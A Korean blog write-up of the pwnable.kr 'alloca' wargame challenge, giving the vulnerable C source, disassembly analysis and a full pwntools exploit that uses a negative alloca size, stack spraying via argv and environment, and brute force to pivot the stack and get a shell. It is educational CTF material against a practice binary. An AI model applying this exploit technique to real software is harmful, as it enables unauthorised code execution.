security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] alloca

민사민서 2023. 3. 3. 00:07
from pwn import *

callme = 0x80485AB # system("/bin/sh")
argvs = [p32(callme)*0x1000]
env = {}
for i in range(0x10):
    env[str(i)] = p32(callme)*0x7000
size = -80 # -92 ~ -77
stkaddr = 0xffcf5000 # guess stack address

while True:
    p = process(executable="/home/alloca/alloca", env=env, argv=argvs)
    p.sendline(str(size))
    p.sendline("-"+str(0x100000000-stkaddr))
    sleep(4) # code 중간중간 sleep(1) 끼어있음, sleep(4) 후 출력값 한번에 받는다
    p.recv(1024)
    try:
        p.sendline("ls")
        p.recv(100)
    except: # [*] Process '/home/alloca/alloca' stopped with exit code -11 (SIGSEGV)
        print("sorry...")
        continue
    p.interactive()

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void callme(){
	system("/bin/sh");
}

void clear_newlines(){
	int c;
	do{
		c = getchar();
	}while (c != '\n' && c != EOF);
}

int g_canary; // ds:0x0804a04c 
int check_canary(int canary){
	int result = canary ^ g_canary;
	int canary_after = canary;
	int canary_before = g_canary;
	printf("canary before using buffer : %d\n", canary_before);
	printf("canary after using buffer : %d\n\n", canary_after);
	if(result != 0){
		printf("what the ....??? how did you messed this buffer????\n");
	}
	else{
		printf("I told you so. its trivially easy to prevent BOF :)\n");
		printf("therefore as you can see, it is easy to make secure software\n");
	}
	return result;
}

int size; // ds:0x804a048
char* buffer; // ds:0x804a050
int main(){

	printf("- BOF(buffer overflow) is very easy to prevent. here is how to.\n\n");
	sleep(1);
	printf("   1. allocate the buffer size only as you need it\n");
	printf("   2. know your buffer size and limit the input length\n\n");

	printf("- simple right?. let me show you.\n\n");
	sleep(1);

	printf("- whats the maximum length of your buffer?(byte) : ");
	scanf("%d", &size);
	clear_newlines();

        printf("- give me your random canary number to prove there is no BOF : ");
        scanf("%d", &g_canary);
        clear_newlines();

	printf("- ok lets allocate a buffer of length %d\n\n", size);
	sleep(1);

	buffer = alloca( size + 4 );	// 4 is for canary

	printf("- now, lets put canary at the end of the buffer and get your data\n");
	printf("- don't worry! fgets() securely limits your input after %d bytes :)\n", size);
	printf("- if canary is not changed, we can prove there is no BOF :)\n");
	printf("$ ");

	memcpy(buffer+size, &g_canary, 4);	// canary will detect overflow.
	fgets(buffer, size, stdin);		// there is no way you can exploit this.

	printf("\n");
	printf("- now lets check canary to see if there was overflow\n\n");

	check_canary( *((int*)(buffer+size)) );
	return 0;
}

- Partial RELRO   No canary found   NX enabled    No PIE
<exploit 계획 1>
- scanf("%d", &g_canary)에서 4byte 넘어가는 정수값 입력해 BOF
- buffer 포인터가 가리키는 주소를 Got 주소로 덮어쓴 뒤
- fgets에서 Got overwrite 하면 되겠다 
<실패 이유>
signed int 최댓값보다 큰 값 주면 MAX_INT(0x7fffffff)로 저장해버리네

- IDA로 buffer=alloca(size+4) 부분 분석해보니
mov     eax, ds:size
add     eax, 4
lea     edx, [eax+0Fh]
mov     eax, 10h
sub     eax, 1
add     eax, edx
mov     ecx, 10h
mov     edx, 0
div     ecx ; 부호 없는 나눗셈, -1/16=-1, -17/16=-2 가 된다!! (pwndbg로 레지스터 값 확인해봄)
imul    eax, 10h
sub     esp, eax
mov     eax, esp
add     eax, 0Fh
shr     eax, 4
shl     eax, 4
mov     ds:buffer, eax

=> esp -= (size+34)/16 * 16 
=> buffer = (esp+15)/16 * 16 

- main 함수 에필로그 분석해보니
   0x08048831 <+462>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048834 <+465>:	leave  
   0x08048835 <+466>:	lea    esp,[ecx-0x4]
   0x08048838 <+469>:	ret  

=> [ebp-4]에 들어있는 값에 4를 뺀 주소로 esp를 옮기고 retn
=> 즉, 어떤 주소 x에 0x80485AB(callme) 넣어두고, [ebp-4] 위치에 x+4 주소를 넣어야되겠다.
=> 0x80485AB를 stack에 spray하고, ebp-0x4 위치에 스택 주소를 넣는다

<시도1>
처음엔 memcpy(buffer+size, &g_canary, 4);에서 buffer+size=ebp-0x4가 되도록 하는 size 값을 구하려 했다
하지만 이론상 불가능.

<시도2>
size<-34인 적당한 값을 주면 (main 함수의) esp값이 ebp 값보다 커질 것이고, 
그럼 서브루틴 check_canary의 스택프레임이 main_ebp-0x4 위치도 덮을 것이다.
// main 함수에서
   0x08048823 <+448>:	push   eax
   0x08048824 <+449>:	call   0x80485e1 <check_canary>
// check_canary 함수에서
   0x080485e1 <+0>:	push   ebp
   0x080485e2 <+1>:	mov    ebp,esp
   0x080485e4 <+3>:	sub    esp,0x18
	~~~
   0x080485f8 <+23>:	mov    eax,ds:0x804a04c  ; eax=g_canary 값
   0x080485fd <+28>:	mov    DWORD PTR [ebp-0x14],eax ; ebp-0x14에 g_canary 값 담긴다

<main+448>부터 <check_canary+28> 스택 상황은
param1 | RET(main+454) | SFP | ?? | ?? | ?? | ?? | g_canary |
                        (ebp)                     (ebp-0x14)
즉, check_canary_ebp-0x14 = main_ebp-0x4 가 되어야 한다 

=> alloca 함수 직전 esp = ebp-0x8 
=> alloca에 의해 esp가 변한 직후인 <main+264>부터 check_canary 인자 push 직전인 <main+445>까지 esp 0xc 감소
=> g_canary는 <main+445>에서의 esp로부터 0x20 떨어져있음
=> (ebp-0x8) + X - 0xc - 0x20 = ebp-0x4  => X=0x30
=> alloca에 의해 esp가 0x30 증가해야 한다
=> -48<=size+34<-32 => -92<=size<-76

<exploit 계획 2>
- alloca&check_canary 결과 g_canary를 ebp-0x4에 위치시키는 size<0의 값을 구한다
- g_canary에 스택 주솟값 (추정) 넣는다
- 환경변수, 매개변수 argv에 0x80485AB 값을 최대한 많이 넣는다 (스택에 최대한 많이 spray)
- brute-forcing 한다

esp의 변화

 

1. [계획1] scanf("%d", &g_canary)에서 g_canary(4B) BOF 안 되는 이유?

If the input string contains a value that is too large to be stored in a signed integer (i.e., larger than INT_MAX, which is typically defined as 0x7FFFFFFF), then the behavior is undefined.

In some cases, it's possible that the value entered will be truncated and stored as the maximum representable value for a signed integer (i.e., 0x7FFFFFFF), but this is not guaranteed. In other cases, the program may crash or exhibit other unexpected behavior.

=> 여기선 INT_MAX(0x7fffffff) 값 저장한다

 

2. alloca - 입력한 인자보다 무조건 큰 스택 영역이 할당됨

 

3. [계획2] buffer+size=ebp-0x4가 되도록 하는 size 값 없는 이유

memcpy(buffer+size, &g_canary, 4); 에서 g_canary의 값이 ebp-0x4에 들어가는 것을 기대했지만...

2에서 증명했듯 buffer에 할당된 Size(X) > 인자로 전달된 size(Y) 이고,

이는 Y가 음수일 때에도 성립한다 (div에서 부호 없는 나눗셈 하기 때문에 k=음의 정수로 생각하면 됨)

 

alloca 할당 전 esp = ebp - 0x8 (esp는 0x10 배수더라 항상)

alloca 할당 후 esp = ebp - 0x8 - X, buf = ebp - 0x8 - X (esp, X 모두 0x10의 배수이므로)

memcpy에서 buf+size = ebp - 0x8 - X + Y = ebp - 0x8 - (X-Y) < ebp-0x8 < ebp-0x4 이다.

 

따라서 buffer+size는 항상 ebp-0x4보다 낮은 주소에 위치한다!!

 

4. OSError: [Errno 7] Argument list too long

stack spray 시 너무 많은 바이트를 인자로 건네주었을 때 발생하는 오류 같음.

The limit of the argument list number is determined by the operating system. On most Unix-like systems, the limit is determined by the maximum size of the environment and command-line arguments that can be passed to a process, which is usually set by the kernel.

 

getconf ARG_MAX

위 명령어로 maximum size of the argument list in bytes를 알 수 있으며

내 컴퓨터의 경우 2097152 = 0x200000 Bytes 였다.

따라서 

 

5. Brute Force 시 꿀팁

- 타킷  주소는 실행 중 pwndbg vmmap을 이용해 스택이 어디에 매핑되는지 경향성을 확인하고 (주로 0xff8~ - 0xfff~), 그 중간값을 하나 고른다

- char* argv[], char* env[] 인자들을 적극 이용해 stack spray를 하여 exploit 확률을 높인다

 

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] otp  (0) 2023.03.05
pwnable.kr - [Rookiss] dragon  (0) 2023.03.03
pwnable.kr - [Rookiss] simple login  (0) 2023.02.27
pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25